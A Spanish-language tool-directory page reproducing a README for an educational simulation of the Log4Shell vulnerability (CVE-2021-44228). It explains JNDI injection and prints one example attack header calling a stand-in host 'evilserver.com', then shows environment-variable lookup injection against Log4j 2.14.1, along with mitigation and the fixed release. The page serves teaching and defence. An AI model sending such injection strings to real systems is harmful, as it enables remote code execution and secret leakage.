Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2021-44228 — Una simple simulación del infame problema CVE-2021-44228. | Kitploit
Herramientas/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

Una simple simulación del infame problema CVE-2021-44228.

Ver Repositorio
hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Java CI

CVE-2021-44228

Este repositorio representa una simulación simplificada del infame problema CVE-2021-44228.

Además de las propiedades del sistema y otras búsquedas en estructuras de diccionario, Apache Log4j también implementa la función de búsqueda JNDI por varias razones. El JNDI puede obtener servicios de varios proveedores de servicios, como LDAP, DNS, el registro de Java RMI, etc. El propio JNDI es una API simple e insegura que no protege contra proveedores de servicios controlados por un tercero. Mientras el atacante controle un servidor accesible públicamente a través de la URL maliciosa y sepa lo que registra la aplicación que escucha en un puerto específico, puede abusar del formato de registro para hacer que la aplicación cargue y ejecute código Java arbitrario mediante la inyección JNDI. Esto se puede transmitir a través de cabeceras de solicitud comúnmente registradas, ya sea en texto plano o de forma ofuscada.

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

Apache Log4j fue vulnerable a una vulnerabilidad de ejecución remota de código antes de que saliera la versión 2.16.0 el 13 de diciembre, y los autores tienen todo mi respeto por su rápida respuesta.

Recursos:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

Ejemplo

La simulación utiliza variables de entorno en lugar de un servidor LDAP, y el formato de registro admite la sustitución de propiedades. El principio no es diferente.

Requisitos previos

Se requieren Java 11 y Maven; sin embargo, Maven Wrapper también está incluido en el repositorio.

Explotación

El repositorio de GitHub define un secreto de repositorio PASSWORD que se establece como variable de entorno en el archivo de flujo de trabajo .github/workflow/ci.yml para poner un secreto a disposición de una acción. Para reproducir el problema localmente, se puede utilizar la variable de entorno JAVA_HOME, de uso común. El flujo de trabajo compila y ejecuta dos aplicaciones con diferentes versiones de Apache Log4j, 2.14.1 y 2.16.0, y aquí hay un ejemplo de ejecución en GitHub Actions: Java CI #7.

Apache Log4j 2.14.1

Esta versión es vulnerable al ataque. Sigue estos pasos para reproducirlo:

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    La variable de entorno aparece registrada:

    args[0] = C:\Program Files\Java\jdk-11.0.11

Aquí hay una captura de pantalla de GitHub Action por si la ejecución real se elimina automáticamente:

log4j-2.14.1.png

Ten en cuenta que si intentas imprimir secretos en el registro, GitHub los redacta automáticamente y los valores se enmascaran y se muestran como ***. Sin embargo, la propiedad fue sustituida.

Mitigación

Como solución temporal y parcial, se indica añadir el parámetro JVM -Dlog4j2.formatMsgNoLookups=True; por lo tanto, es necesario reiniciar todos los nodos de la aplicación.

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    No se produce sustitución de propiedades:

    args[0] = ${env:JAVA_HOME:-}

De nuevo, aquí hay una captura de pantalla de GitHub Actions:

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

El problema se solucionó en Log4j 2.12.2 (Java 7) y Log4j 2.16.0 (Java 8) por el equipo de seguridad de Log4j.

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    No se produce sustitución de propiedades:

    args[0] = ${env:JAVA_HOME:-}

De nuevo, aquí hay una captura de pantalla de GitHub Actions:

log4j-2.16.0.png

Descargar herramienta